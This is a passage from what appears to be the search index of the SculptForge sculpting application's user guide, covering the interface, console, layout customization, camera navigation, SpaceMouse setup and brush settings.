shortcut as keycaps, what it does, where it lives (for example \"Tool > Geometry\") and the script command it runs. Ctrl-hover help on the Subdivide button Hold Ctrl+Alt instead to see the scripting reference for items that run a command: the command's usage line and each parameter with its type and description. This is the same information the console, sculptforge-cli and AI agents use. Without Ctrl, icon-only buttons and labels that don't fit show their name after a short delay (Edit > Preferences > Interface > Tooltip delay). Turn Ctrl-hover help off with Edit > Preferences > Interface > Popup Info (Ctrl+hover help), and make the box more or less see-through with Popup Info opacity."},{"p":"interface.html","c":"The interface","a":"the-controls-sheet","h":"The Controls sheet","t":"Press F1 (or Help > Controls) for the Controls window. The Keyboard tab lists every action that has a shortcut, grouped by palette and generated from the actions themselves, so it always shows your current keys. The Mouse & pen tab lists the gestures. Type in the filter field to search both. Double-click a row on the Keyboard tab to give that action a new key."},{"p":"interface.html","c":"The interface","a":"this-guide","h":"This guide","t":"Help > User Guide (Shift+F1) opens this guide in its own window: the contents on the left (the open chapter lists its sections), the chapter on the right, and links between chapters. The User Guide window on the Masking chapter Search: type in the search box (Ctrl+F) to find every section that mentions all of your words. Click a result to jump there; the words are marked on the page. Esc clears it. Back and forward: the arrow buttons, Alt+Left / Alt+Right, or the back and forward buttons of your mouse. From any control: while Ctrl-hover help is showing, press F1 (keep Ctrl held) to open the chapter about that control. The help box shows which chapter it is (\"Learn more: ...\"). Code blocks have a Copy button, and Open in browser shows the same page on the SculptForge website. The guide is built into SculptForge, so it works offline and always matches your version."},{"p":"interface.html","c":"The interface","a":"the-command-palette","h":"The command palette","t":"Press F3 (or Ctrl+Shift+P, or click Search at the top right) to find any action or command by name and run it. It opens at the top centre of the canvas. The command palette searching for subdivide Type part of a name, a palette or a word from the description. The search is forgiving: letters in order are enough (\"sbdv\" finds Subdivide), and every word you type must match somewhere. Each row shows the action, its palette and its shortcut. Up and Down (or Page Up and Page Down) choose a row, Enter runs it and Esc closes the palette. With nothing typed, the palette lists the actions you used most recently. Commands with a required parameter (for example image_relief path=) open in the console with the name already typed. Other commands run with their default values; Shift+Enter sends a command with parameters to the console instead, so you can set them first. Everything scriptable is in the command palette, including commands that have no button in the interface."},{"p":"interface.html","c":"The interface","a":"the-console","h":"The console","t":"Press ` (the backtick key, left of 1 on US keyboards) to open the console, a strip between the canvas and the bottom shelf. It works: Every command you run, from a button, a key, the command palette, a script or an AI agent, appears as a script line followed by its result. Errors show in red. Type a command and press Enter: for example remesh resolution=200 or subdivide; decimate ratio=0.5. Tab completes command and parameter names, Up and Down recall earlier lines, and help (or help remesh) explains commands. Drag the console's top edge to make it taller or shorter. File > Script has Run script file..., Copy session as script (every command you ran this session, ready to replay, which makes it a macro recorder) and Clear console. The console after a few commands See Scripting and automation for the command language, scripts and headless use."},{"p":"interface.html","c":"The interface","a":"customizing-the-interface","h":"Customizing the interface","t":"Everything about the layout can change: which palettes sit in the trays, what's on each shelf, and which keys do what. Changes last until you quit unless you store them with Store Config."},{"p":"interface.html","c":"The interface","a":"move-add-and-remove-shelf-items","h":"Move, add and remove shelf items","t":"Open Edit > Preferences > Config and turn on Enable Customize. The shelves get a dashed orange outline and the status line reads \"Customize: Ctrl+Alt+drag to move or remove items\". Hold Ctrl+Alt and drag any button, slider or tile: onto a shelf to put it there (an orange line shows where it will go), which is how you add buttons from palettes to a shelf; along its shelf, or to another shelf, to move it; off the shelves (onto the canvas, for example) to remove it. Turn Enable Customize off when you're done, and press Ctrl+Shift+I to keep the result. Right-clicking a shelf item and choosing Remove from shelf works without Customize mode."},{"p":"interface.html","c":"The interface","a":"assign-shortcuts","h":"Assign shortcuts","t":"Hold Ctrl+Alt and click any button (with Customize off), then press the key you want. Esc cancels and Backspace removes the button's shortcut. Or open Edit > Preferences > Hotkeys, find the action (there's a filter), click its key button and press the new key. Keys you changed show in orange. Default shortcuts undoes every change. Or double-click a row in the Controls window (F1). If the key already belongs to another action, it moves to the new one and the status line says which action lost it."},{"p":"interface.html","c":"The interface","a":"store-config-and-friends","h":"Store Config and friends","t":"All in Edit > Preferences > Config: Item What it does Store Config (Ctrl+Shift+I) Keeps the current layout, shortcuts and interface preferences for future sessions Restore Custom UI Goes back to what the last Store Config saved Restore Standard UI Goes back to the built-in layout and default shortcuts (Store Config afterwards to make it stick) Save UI... Saves the layout, shortcuts and preferences to a .json file you can share Load UI... (Ctrl+L) Loads such a file (Store Config afterwards to keep it) The first time you change the layout in a session, the status line reminds you once: \"Layout changed - Ctrl+Shift+I to keep it\". What a session changes by itself (the console and Library being open, the Library tab) doesn't count as a layout change."},{"p":"interface.html","c":"The interface","a":"layout-presets","h":"Layout presets","t":"The 1, 2 and 3 buttons at the top right (also in Edit > Preferences > Config) switch between three arrangements of the current layout: Standard: the Tool panel in the right tray and shelves around the canvas. Sculpt: both trays closed, for the largest canvas. Wide: Brush, Stroke and Alpha in the left tray, Tool and Material in the right tray. A preset changes the layout only (the console, Library and left-handed setting stay as they are). Store Config keeps it."},{"p":"interface.html","c":"The interface","a":"interface-preferences","h":"Interface preferences","t":"Edit > Preferences > Interface: Setting Default What it does Look, Outlines and Layout Forge Terminal, Neutral, Subtle, SculptForge See Looks and layouts Language English The interface language: English or Español (see below) Popup Info (Ctrl+hover help) On Ctrl-hover help boxes Popup Info opacity 0.97 How solid the help box is Tooltip delay 0.5 s How long to point at an icon-only button before its name appears Reduce motion Off Hover and focus highlights change colour only: no easing, and tiles don't lift One sub-palette open On Opening a sub-palette closes the others in that palette Auto collapse left tray / right tray On / Off Collapse other palettes in the tray when one wouldn't fit Palettes strictly A-Z (strict order) Off Classic layout: strict alphabetical palette bar instead of File and Edit first, Help last Left-handed layout Off Mirrors the shelves and trays: tools on the right, navigation on the left UI scale Automatic Size of text and controls (100% to 200%), applied at once; Automatic follows the monitor (see below) Camera notch Automatic Keeps the interface below a laptop's camera notch in fullscreen (see below) Language changes the interface at once, without a restart; Store Config keeps it for the next start. In Español the menus, the palettes, the shelves, the Library, the command palette and the Ctrl-help titles are in Spanish, while the names of tools and brushes stay in English, as Spanish-speaking sculptors use them (Parts, Quad Remesh, Forge Spheres, Library, Lit Sphere, Clay Block, Add). The command palette finds a command by its Spanish or its English name. Anything not translated yet (most Ctrl-help descriptions, this guide) shows in English. Scripts and sculptforge-cli commands are the same in every language. UI scale also applies at once: text, buttons, shelves and trays resize on the next frame; Store Config keeps it. Automatic uses the scale of the monitor the window is on (Windows: Settings > Display > Scale; macOS and Wayland: the display's scaling; X11: the desktop's font DPI). Drag the window to a monitor at another scale, or change the system setting, and the interface follows. A chosen size (100% to 200%) stays the same on every monitor. Edit > Preferences > Cursor: Setting Default What it does Viewport cursor Crosshair The pointer over the 3D view: a crosshair, or the arrow (#73). The crosshair stays while the view turns, pans or zooms. Panels, menus and popups always show the arrow Cursor follows surface On The brush ring lies on the model: a true circle at the brush's real size, in the plane of the surface (averaged over the brush, so bumps don't bend it), with a short line along the surface's direction. Symmetry and radial copies show as dots where their dabs land. Off: a flat ring on the screen Hide ring while stroking Off While a stroke runs, only the dot where the brush touches (and the symmetry dots) shows, not the ring Edit > Preferences > Hints: Show hints in the viewport (on) and one box per hint (Strokes start off the model, Previewing an LOD, Face landmark steps). Each hint over the 3D view also has its own Don't show again; Show all hints again brings them all back. Store Config keeps them. Scrolling panels with a pen: on small screens a palette or tray that doesn't fit scrolls with the mouse wheel, and also with a left-drag on empty space in it (between and beside the controls) or a middle-drag anywhere on it, as you would scroll a list with a finger (#100). Edit > Preferences > Input sets the key Style (the first start sets it from your Coming from answer): SculptForge (the default for new installs): 1 to 9 and 0 pick the first ten brushes, I opens Intensity like U, and Ctrl+drag on the background zooms when nothing is masked; Classic: the Classic sculpting keys, with the number keys free (9 is Save Snapshot), I for RGB Intensity and Ctrl+drag on the background for a mask rectangle (see the Classic sculpting keys); Maya: Maya's view controls; or Blender: middle-drag navigation,"},{"p":"interface.html","c":"The interface","a":"the-background","h":"The background","t":"Edit > Preferences > Display (and the View menu) sets the view's Background: Gradient, the charcoal radial gradient (the default), or Flat Colour, one solid colour without the gradient. Click the Background colour swatch to pick the colour; picking one switches to Flat Colour. Store Config keeps the choice for the next session, and each project keeps the background it was saved with. From a script: set_background mode=flat, set_background color=60,70,80 or set_background mode=gradient. Edit > Preferences > Library has Show at startup (on by default), the number of Rows, Placement (along the top of the canvas, or at the bottom above the bottom shelf) and the Library folder. Edit > Preferences > Autosave sets how often a recovery copy is saved (see Projects, autosave and snapshots). Edit > Preferences with the Config and Interface sub-palettes"},{"p":"interface.html","c":"The interface","a":"fullscreen-hiding-panels-and-the-camera-notch","h":"Fullscreen, hiding panels and the camera notch","t":"F11 (or View > Fullscreen) fills the screen with SculptForge; press it again to go back to a window. sculptforge --fullscreen starts that way. SculptForge reopens the way you left it; on macOS a window closed in full screen reopens maximised instead, so the menu bar and the window buttons stay reachable (press F11 or the green button to go full screen again). In the Classic layout, Menus in the title strip hides the palette bar; click it again to bring it back. Tab hides the shelves and trays. On MacBooks with a camera notch, SculptForge keeps the interface below the notch when it fills the screen and fills the band beside the notch with the shell colour. Automatic asks macOS for the safe area (on Linux it recognises a notched MacBook display); Always reserve always keeps a band free at the top, whatever the display; Off uses the full height."},{"p":"interface.html","c":"The interface","a":"see-also","h":"See also","t":"Navigating the view Keyboard and mouse Scripting and automation Troubleshooting and FAQ"},{"p":"navigation.html","c":"Navigating the view","a":"","h":"Navigating the view","t":"This chapter explains how to rotate, pan and zoom the camera with a mouse, a pen, the right-shelf buttons or a 3Dconnexion SpaceMouse, how to frame the model, and which display toggles help while you sculpt."},{"p":"navigation.html","c":"Navigating the view","a":"how-the-camera-works","h":"How the camera works","t":"The camera orbits around a target point. By default rotation is free: dragging turns the model about the screen's own axes, so it follows the cursor and can roll right over the top. Hold Shift while rotating to snap to the nearest front, back, side, top or bottom view; let go of Shift and the drag carries on from where the cursor is. If you prefer the model to stay upright, as in Blender or Maya, set Edit > Preferences > Interface > Rotation to Turntable: sideways drags then turn the model around its vertical axis and up-down drags tilt it, stopping just short of looking straight down or up. Panning moves the target; zooming moves the camera closer to it or further away. The view is a perspective view with a 35 degree field of view, or orthographic (Numpad 5): no foreshortening, so sizes don't shrink with depth. The front, side and top views (Numpad 1, 3, 7) switch to orthographic until you rotate again, as in Blender. The X / Y / Z gizmo in the top left of the canvas (Sculpt > Draw & Tablet > Camera > Axes) shows the world axes as the camera sees them. Click an end to look from that side, as in Blender: X the right view, Y the top, Z the front, and the plain dot at the other end of each axis the left, bottom or back view. These are orthographic like the numpad views. The end under the pointer gets a ring. Sculpt > Draw & Tablet > Camera > Gizmo size makes the axes Small, Medium (the default) or Large; they grow with the UI scale too, and clicking an end works at every size. View Figure (beside Axes, off until you turn it on) adds a small shaded head in the corner that turns with the camera, so you can tell front from back at a glance. Click it to look from the nearest side: the front, back, left, right, top or bottom view, orthographic like the axes. Navigation starts only on the canvas. A drag that begins on a shelf, a tray or a palette never moves the camera. Blender: with Edit > Preferences > Input > Style on Blender, middle-drag rotates, Shift+middle-drag pans and Ctrl+middle-drag zooms. With a pen or a trackpad, Alt+left-drag beside the model does the same (add Shift to pan, anywhere; Ctrl to zoom); on the model it masks, as in Blender 5.1 and later. Turn on Edit > Preferences > Input > Emulate 3 Button Mouse to make Alt+left-drag turn the view everywhere, as that Blender preference does. The numpad views, Numpad . and Home frame as in Blender. See Blender keys."},{"p":"navigation.html","c":"Navigating the view","a":"mouse-and-pen","h":"Mouse and pen","t":"To Do this Rotate Left-drag on the background, or right-drag anywhere on the canvas; add Shift to snap to an axis view Roll (turn about the view axis) Shift+click the background, let go of Shift, then drag Pan Alt+left-drag on the background, Alt+right-drag, or middle-drag Zoom Mouse wheel; Alt+left-drag on the background, then let go of Alt and keep dragging; Ctrl+right-drag; Ctrl+middle-drag; Ctrl+left-drag on the background when nothing is masked (not with the Classic sculpting keys) Frame the model F (Blender style: Home), or Frame on the right shelf Front, right, top view Numpad 1, Numpad 3, Numpad 7; Ctrl for the back, left and bottom Front, side, top or bottom view with the mouse Click an end of the axis gizmo in the canvas corner Orthographic on or off Numpad 5 Turn in 15 degree steps Numpad 4 / Numpad 6 (around), Numpad 8 / Numpad 2 (over); Numpad 9: the other side Frame the active Part Numpad . Frame one Part Shift+Alt+click it, or triple-click another Part (it becomes the active Part) Sculpt from the background Turn on Edit > Preferences > Input > Start strokes off the model, View > Lock camera, or press Shift+L: a left-drag that starts beside the model sculpts once it reaches the surface Move the camera with Space held Turn on Edit > Preferences > Input > Hold Space and drag to move the camera, then hold Space: left-drag rotates, right- or middle-drag pans, Ctrl+drag zooms, anywhere on the canvas (on the model too) Zoom drags: drag up to come closer, down to back away. With the Classic sculpting keys (Edit > Preferences > Input) they go: drag up to zoom out, down to zoom in. Hold Space and drag to move the camera is off by default, because with the Classic sculpting keys Space opens the Quick Menu. With it on, Space no longer opens the Quick Menu (a right click still does), and a space typed in a text field is never taken. Start strokes off the model (also View > Lock camera) is off by default. With it on (a label at the top of the canvas says so, and in the SculptForge layout the status bar shows CAMERA LOCKED), a left-drag on the background no longer rotates: it waits, and the brush starts where the cursor first reaches the model, so strokes that begin at the silhouette never turn the view by accident. Ctrl (mask) and Shift (smooth) strokes start the same way, and a Ctrl+click on the background still inverts the mask. To move the view, right-drag (a pen's lower button is a right click by default), Alt+drag to pan, middle-drag, or hold Space if Hold Space and drag to move the camera is on; with the Blender or Maya style, Alt+left-drag rotates as before. With a pen that has no buttons and the Classic or SculptForge style, press Shift+L to turn it off while you rotate, or turn on Hold Space. Mask Lasso, Mask Rectangle and the Ctrl+Shift hide and show shapes work as before. \"Background\" means any part of the canvas where the cursor isn't over the model. A left-drag that starts on the model sculpts instead, so with a pen or a one-button mouse, start rotations beside the model. When the model fills the view, zoom out a little or use the right-shelf buttons. Note: Ctrl+left-drag on the background clears the mask when something is masked (and Ctrl+click there inverts it); while nothing is masked it zooms (with the Classic sculpting keys it draws a mask rectangle instead). Use the wheel or Ctrl+middle-drag to zoom on a masked model. See Masking. On macOS, Cmd works wherever this guide says Ctrl for these gestures, except Ctrl+middle-drag, which needs Ctrl itself."},{"p":"navigation.html","c":"Navigating the view","a":"the-right-shelf-navigation-buttons","h":"The right-shelf navigation buttons","t":"The right shelf has three buttons you drag on rather than click. They are handy with a pen, on a laptop trackpad, or when the model fills the canvas and there is no background to drag on. The right shelf: Frame, Move, Zoom and Rotate, then the display toggles Button Drag on it to Frame (click) Fit the whole scene in the view (F) Move Pan the view Zoom Zoom: drag up to come closer, down to move away Rotate Orbit the view The button stays orange while you drag. Frame is also in the View menu and Sculpt > Symmetry & Gizmo."},{"p":"navigation.html","c":"Navigating the view","a":"spacemouse-experimental","h":"SpaceMouse (experimental)","t":"A 3Dconnexion SpaceMouse lets one hand move the view while the other holds the pen. SculptForge reads it directly as a USB device, without 3Dconnexion's driver or SDK, so this is experimental: it has been tested with simulated input only, not yet with a real SpaceMouse. Tell us how it works with yours (GitHub issue #6). Plug it in and it works: Edit > Preferences > Input shows its name under SpaceMouse (experimental), with live bars for its six axes. The model moves the way you move the cap, and turns about the same point the mouse orbits around (the camera's target: Frame sets it to the scene's centre, and panning moves it). Move the cap The view Push left / right Pans left / right Pull up / push down Pans up / down Pull towards you / push away Zooms in / out Twist Turns the model around Tilt towards you / away Tips the model's top towards you / away Roll left / right Rolls the model on screen (not with Lock rotation to turntable) Left side button Frame Right side button Front view The speed is the same whatever the frame rate: holding the cap for a second turns the model just as far on a slow machine as on a fast one. It works in every input style (SculptForge, classic, Blender, Maya) and while a stroke is held: the stroke keeps going, sculpting wherever the pen points on the turned model. Many people stop moving the pen while they turn the view, and that works best, but you don't have to. Edit > Preferences > Input > SpaceMouse: Use SpaceMouse: off ignores it completely, buttons too. Speed: how fast the view moves for the same push. Dead zone: how far the cap must move before anything happens (8% by default), so a hand resting on it doesn't drift the view. The live bars turn orange once an axis is past it. Lock rotation to turntable: the model stays upright; twisting turns it about the world's up axis and rolling the cap does nothing. Dominant axis: only the direction you push the most moves the view, so a twist doesn't also pan a little. Invert: reverse any of the six moves (Pan X, Zoom, Pan Y, Tilt, Roll, Spin). If a direction feels wrong on your model of SpaceMouse, flip it here. Left button, Right button (and Button 3 onwards on models with more): Frame, Frame Part, the axis views, Orthographic, Undo, Redo or Nothing. SpaceMouse defaults puts everything back. Store Config (Ctrl+Shift+I) keeps these settings. If SculptForge doesn't see it (Preferences says \"No SpaceMouse found\"): Windows: 3Dconnexion's driver, 3DxWare, can keep the device to itself, and may also move the view on its own as it does in other programs. Quit 3DxWare (its tray icon, or stop the 3DxService service in Task Manager > Services), unplug the SpaceMouse and plug it back in. Without 3DxWare, Windows treats the SpaceMouse as a game controller, which is how SculptForge reads it. If SculptForge sees the SpaceMouse with 3DxWare running, give the buttons a job in only one of the two places, or one press does two things. macOS: the same applies to 3DxWare for Mac: quit it (or uninstall it) and plug the SpaceMouse in again. Linux: if spacenavd is running, it normally opens the device exclusively. SculptForge may still list the SpaceMouse but get no motion from it. Stop it while you sculpt (sudo systemctl stop spacenavd). SculptForge reads the device through /dev/input as a joystick: that works when the kernel reports the cap's axes as absolute axes, which is how joysticks work. If the kernel reports them as relative motion, as it does for some older models, the SpaceMouse doesn't show up at all. Reading it through spacenavd isn't supported yet. If it shows up but the view doesn't move (the live bars stay still when you push the cap), another program holds the device: quit 3DxWare (or spacenavd on Linux) as above, then unplug and plug the SpaceMouse back in. To report a problem, open Edit > Preferences > Input > SpaceMouse and click Copy device report (shown until the cap has moved the view): it puts every joystick SculptForge sees on the clipboard, with its"},{"p":"navigation.html","c":"Navigating the view","a":"framing","h":"Framing","t":"Frame (F) points the camera at the centre of the scene and moves it back until everything fits: every visible Part, plus the Gaussian splats when they are shown. SculptForge frames the scene for you when you open a file or start from a new primitive. Use it after panning far away, or when a model comes in at an unusual scale."},{"p":"navigation.html","c":"Navigating the view","a":"display-toggles-that-help-navigation","h":"Display toggles that help navigation","t":"These live on the right shelf and in the View menu: Wire (Shift+F): shows the polygons of the active Part over the surface, PolyFrame. Quads show as quads (see Quads and triangles). Useful for judging mesh density before you subdivide or remesh. Groups: colours each face group. Mask: darkens masked areas. Paint: shows vertex paint colours (off shows the plain material). Solo: shows only the active Part, to get at parts hidden behind others. Show Mesh (View menu): hides the sculpt, for example to look at a splat capture on its own. Fullscreen (F11) and hiding the shelves (Tab) give the canvas the most room. See The interface."},{"p":"navigation.html","c":"Navigating the view","a":"not-yet","h":"Not yet","t":"Not yet: SculptForge has no rotation around the point under the cursor (the camera always orbits its target, which Frame sets to the scene centre), no floor grid and no saved camera views. Pan the target onto the area you're working on to orbit around it."},{"p":"navigation.html","c":"Navigating the view","a":"see-also","h":"See also","t":"The interface Keyboard and mouse Sculpting and brushes"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"","h":"Sculpting and brushes","t":"This chapter covers everything that happens when you drag a brush across a model: the built-in brushes and the custom brushes that ship with SculptForge, brush size and strength, modifier keys, stroke types, alphas, symmetry and pen pressure. To design your own brushes, see Brush Lab and sharing brushes. Sculpting the lion head with X symmetry"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"your-first-stroke","h":"Your first stroke","t":"Pick a brush: click it on the bottom shelf, press its number key, or press B to open the brush picker. Left-drag on the model. The brush works on the surface under the cursor. Hold Alt while dragging to invert the brush (dig in instead of building up), or hold Shift to smooth. Press Ctrl+Z to undo a stroke, Ctrl+Shift+Z (or Ctrl+Y) to redo it. Each Part keeps its own history of up to about 1 GB; the oldest steps are dropped beyond that. Dragging on the background never sculpts: it rotates the view (see Navigation). The brush only works on the active Part, and only on parts that are visible and not masked. A stroke that started on the model keeps sculpting when it slides past the edge of a form seen in profile, as long as the brush circle still covers the model: the brush holds on to the silhouette (#84)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"built-in-brushes","h":"Built-in brushes","t":"SculptForge has nineteen sculpting brushes plus the Paint brush. The first ten have number keys; all of them are on the bottom shelf by default and in the brush picker. Brush Key What it does With Alt Standard 1 Raises the surface along the stroke, the all-purpose brush. Digs in Clay 2 Builds up clay that fills the hollows first, with a slightly flat top. Intensity and pen pressure set how fast it builds. Carves away Smooth 3 Relaxes the surface, evening out bumps. The same brush Shift gives you. No change Move 4 Grabs the surface under the cursor and pulls it along, parallel to the screen. No change Inflate 5 Swells the surface outward along its normals. Deflates Crease 6 Cuts a sharp crease and pinches its sides in. Raises a ridge Flatten 7 Presses the surface toward a plane through the brush area. Pushes away from the plane Pinch 8 Pulls the surface toward the stroke to tighten edges. Spreads it apart Sharp Crease 9 A narrow, deep V-shaped crease with the sides pinched in. A sharp ridge Clay Block 0 Square, flat-topped clay strokes for blocking in forms. Carves flat-bottomed Tendril Pulls the surface out into horns and tendrils that taper as you drag. No change Trim Trim: shaves away everything above a plane for hard surfaces. Fills up to the plane Layer Raises the surface to one fixed height per stroke; overlapping passes never stack. Lowers to a fixed depth Nudge Slides the surface sideways along the stroke without lifting it. No change VDM Stamps a vector displacement map, overhangs and all (see below). Digs the shape in KelvinGrab Elastic move: drags the surface like real clay, with no falloff edge (see Kelvinlet brushes). No change KelvinTwist Press and drag right to turn the surface clockwise around that point, left to turn it back. Turns the other way KelvinScale Press and drag left to pinch the surface toward that point, right to swell it. The other way Elastic Tendril An elastic Tendril: smooth horns and tendrils that taper as they stretch. No change DetailClone Paints copies of a captured detail (the VDM brush's map) along the stroke, each turned to follow it. Digs them in Morph Pulls the surface back toward the morph target, a selection set with its shape (Selection sets). Does nothing until you pick one. Pushes away from it Paint P Paints colour without sculpting. See Vertex Paint and materials. Paints back to white Notes on particular brushes: Move, Tendril and the Kelvinlet brushes (except Detail Clone) move the surface with the cursor instead of placing dabs, so stroke types (Dots, Spray and so on) don't apply to them. Layer sets its height from the brush size and Intensity. Pen pressure lowers the height when Pressure > Strength is on, so you can feather the edge of a layer. Trim gives crisp planes on cylinders and edges. Use it with Front on when you work on thin shapes."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"custom-brushes-that-ship-with-sculptforge","h":"Custom brushes that ship with SculptForge","t":"Besides the built-in brushes, SculptForge ships seven custom brushes. They are recipes: data that you can open and change in Brush Lab. They appear in the Custom section of the brush picker and in Sculpt > Brush > Custom brushes. Brush What it does Wrinkle Fine, sharp creases for skin folds and fabric wrinkles. Palette Knife Flattens and drags clay sideways like a sculptor's knife. Dragon Scales Stamps rounded overlapping scales along the stroke. Stone Chisel Scrapes hard planes and breaks them up with cracks for rocks and ruins. Skin Pores Sprinkles tiny pores for close-up skin detail. Clay Slab Builds up flat-topped strokes of clay for blocking in forms. Edge Wear Chips and softens only the sharp edges and ridges, for weathered props. Custom brushes respond to Alt, Shift, the mask, symmetry and the stroke settings just like built-in ones. Their thumbnails carry a small sparkle when you put them on the bottom shelf."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"pick-a-brush","h":"Pick a brush","t":"You can choose a brush in several places: Bottom shelf: click a tile. The active brush is outlined in the accent colour and the number key is shown in the corner of each tile. Number keys: 1 to 9 and 0 pick the first ten built-in brushes (see the table above); P toggles the Paint brush. Brush tile at the top of the left shelf: click it to open the brush picker beside it. Sculpt > Brush: the same grid of thumbnails, with a filter field, plus your custom brush list. Command palette (F3): type the brush name and press Enter."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"the-brush-picker","h":"The brush picker","t":"Press B to open the brush picker under the mouse. It shows a Recent row (once you have picked brushes), then Built-in, Custom and Library sections. The Library section lists .sfbrush files in the Brushes folder of your Library library that aren't loaded yet; picking one loads it. The brush picker after pressing B, with letter badges The picker works, by typing letters: Press B. Type the first letter of the brush. Only brushes starting with that letter stay, and each shows a highlighted key badge: the next letter that tells it apart from the others. Press the letter on the badge to pick that brush. For example B, S, T picks Standard, and with the brushes that ship, B, C, L picks Clay. If no brush name starts with what you typed, the picker falls back to names that contain it. Backspace removes the last letter, Enter picks the first match, and Esc or a click outside closes the picker. The letter chips along the top (A 2, C 4 ...) show how many brushes start with each letter; click one to filter by it. Hover a tile for a large preview and the brush's description. Right-click a tile for Add to bottom shelf, and on custom brushes also Copy brush code, Rename..., Save as .sfbrush..., Delete... and Reveal in folder (see Brush Lab and sharing brushes)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"draw-size-intensity-rgb-intensity-and-falloff","h":"Draw Size, Intensity, RGB Intensity and Falloff","t":"These values control every brush. Draw Size and Intensity are on the top shelf; all four are in Sculpt > Draw & Tablet and the Quick Menu. Setting Range Default How to change it Draw Size 2 to 800 60 Brush radius in screen pixels. [ and ] make it 10% smaller or larger (hold to repeat). S opens a slider at the cursor. Intensity 1 to 100 50 How strongly each dab changes the surface. U opens a slider at the cursor. RGB Intensity 1 to 100 100 How strongly painting colours the surface (the Paint brush, and sculpting with Rgb on). I opens a slider at the cursor. Falloff -100 to 100 0 The brush falloff. Below 0 the full-strength centre widens into a broad, hard tip; above 0 it narrows to a soft point. O opens a slider at the cursor. Because Draw Size is measured on screen, the brush covers less of the model as you zoom in, which is what you want for detail work. The brush cursor shows two rings: the outer one is the Draw Size, the inner one is Falloff (where the brush works at half strength). Masking, painting, Move and Tendril follow Falloff too. Custom brushes made in Brush Lab and Clay Block's square tip keep their own tip shape at 0 and shift it like the others. With an alpha, Falloff works: the alpha is multiplied by the round falloff. At -100 the whole alpha shows, hard to its edges (a Square alpha stamps the full square); at 0 the falloff softens it and rounds a square's corners; at +100 only a soft point in the middle is left. Over the model, the rings lie on the surface: true circles in the plane of the surface under the pointer, at the brush's real size there, with a short line pointing out of the surface. The plane follows the form averaged over the whole brush, so the rings stay round and steady over fine bumps and detail. With symmetry on (mirror or radial), a dot shows where each copy of the brush lands. Off the model the rings are flat circles. Edit > Preferences > Cursor: Cursor follows surface (on by default) switches back to flat rings everywhere, and Hide ring while stroking (off by default) shows only the dot while a stroke runs. The crosshair pointer stays while you turn the view. The S, U, I and O pop-ups take the mouse or the keyboard: drag the slider and release to close it, or type a number and press Enter (a minus first for a negative Falloff). Esc closes the pop-up without typing anything new."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"each-brush-keeps-its-own-settings","h":"Each brush keeps its own settings","t":"Every brush remembers its own Draw Size, Intensity, Falloff, RGB Intensity, stroke and alpha. That includes custom and Community brushes. Set up a small, sharp crease brush and a big Clay brush, and each one comes back the way you left it when you switch between them. A brush you haven't used yet in the session starts from the values you have now, so nothing jumps. Sculpt > Brush > Save Brush Settings keeps the current brush's values for every new session (in brush-settings.json, in SculptForge's user data folder). Sculpt > Brush > Reset Brush to Default puts the current brush back to the values SculptForge ships with and forgets what you saved for it. Edit > Preferences > Input > Share size and intensity across brushes (off by default) keeps Draw Size and Intensity the same for every brush, as before 0.10.8. Falloff, RGB Intensity, the stroke and the alpha still follow each brush."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"smooths-own-intensity","h":"Smooth's own Intensity","t":"Smooth keeps an Intensity of its own, so a gentle Standard stroke at 10 still smooths at full speed. Hold Shift (or pick the Smooth brush) and the Intensity slider shows Smooth Intensity: change it there, or hold Shift and press U. It starts at 50."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"smooth-that-keeps-the-volume","h":"Smooth that keeps the volume","t":"The plain smooth evens out bumps by pulling each point towards its neighbours, so with every pass the form shrinks a little too: a cheek flattens, a sphere gets smaller. The other smooth keeps the volume: it removes the bumps but leaves the form where it is (a Taubin smooth, one step in and a slightly larger one back out). Alternate smooth: start a stroke with Shift held, then let go of Shift while still pressing. The rest of the stroke uses the other smooth, and the status line says which. Smooth keeps volume in Sculpt > Brush makes the volume-keeping smooth the one Shift and the Smooth brush use; letting go of Shift mid-stroke then switches to the plain one. Saved with the project."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"smooth-face-group-borders","h":"Smooth face group borders","t":"Smooth face group borders only in Sculpt > Brush turns Smooth (and Shift) into a border straightener: only the points on a border between face groups move, each along the surface toward its neighbours on the border, so a jagged edge (a cuff, a collar, the hem of a shirt, a panel line) becomes a clean line while the rest of the model stays where it is. Corners where three or more groups meet stay put. Group the clothing first (for example Group masked after masking it), then brush over the edge. Saved with the project (#81). On a micro level (see Micro levels) Smooth is always the plain one for now. On a quad mesh (after Quad Remesh, or an imported quad model) Smooth follows the quads' own edges, never their diagonals, so the quads keep their shape (#69). Sculpt > Draw & Tablet"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"sculpt-paint-add-sub-rgb-and-front","h":"Sculpt, Paint, Add, Sub, Rgb and Front","t":"These toggles sit on the top shelf and in Sculpt > Draw & Tablet: Control What it does Sculpt / Paint Sculpt makes brushes change the shape. Paint (P) paints colour only. Add / Sub Add makes brushes add (the default), Sub makes them subtract. Alt flips the current choice for one stroke. Rgb Sculpt brushes also paint the current colour as they sculpt. Front Front faces only: brushes leave the far side of thin parts alone, such as the back of an ear or a cape. Sculpt > Brush has the same Front and invert settings as the checkboxes Front faces only and Invert (Alt)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"falloff-options","h":"Falloff options","t":"Two more checkboxes in Sculpt > Brush change what a brush reaches, as Blender's proportional editing does (from the discussions). Both work with every sculpt brush, recipes, VDM stamps, masking and vertex paint, and are saved with the preferences and the project (custom brushes can turn them on for themselves in the Brush Lab): Option What it does Connected only The brush only moves the surface joined to the point under the cursor, within the brush size. Inflate a finger and the next finger stays as it is; Move one leg and the other doesn't follow, however close they are. View falloff The falloff is measured on screen, across the view: everything inside the brush circle is reached, through the model and out the back, as a cylinder along the view. Add Connected only to keep it to the piece under the cursor. Kelvinlet brushes keep their own elastic falloff, and the Gizmo's falloff eases in from the mask's edge rather than from a brush centre, so these options don't apply to them. On a 10-million-vertex Part a dab that moves half a million vertices takes about 10 ms, and about 16 ms with Connected only."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"modifier-keys-while-sculpting","h":"Modifier keys while sculpting","t":"Hold Effect Alt 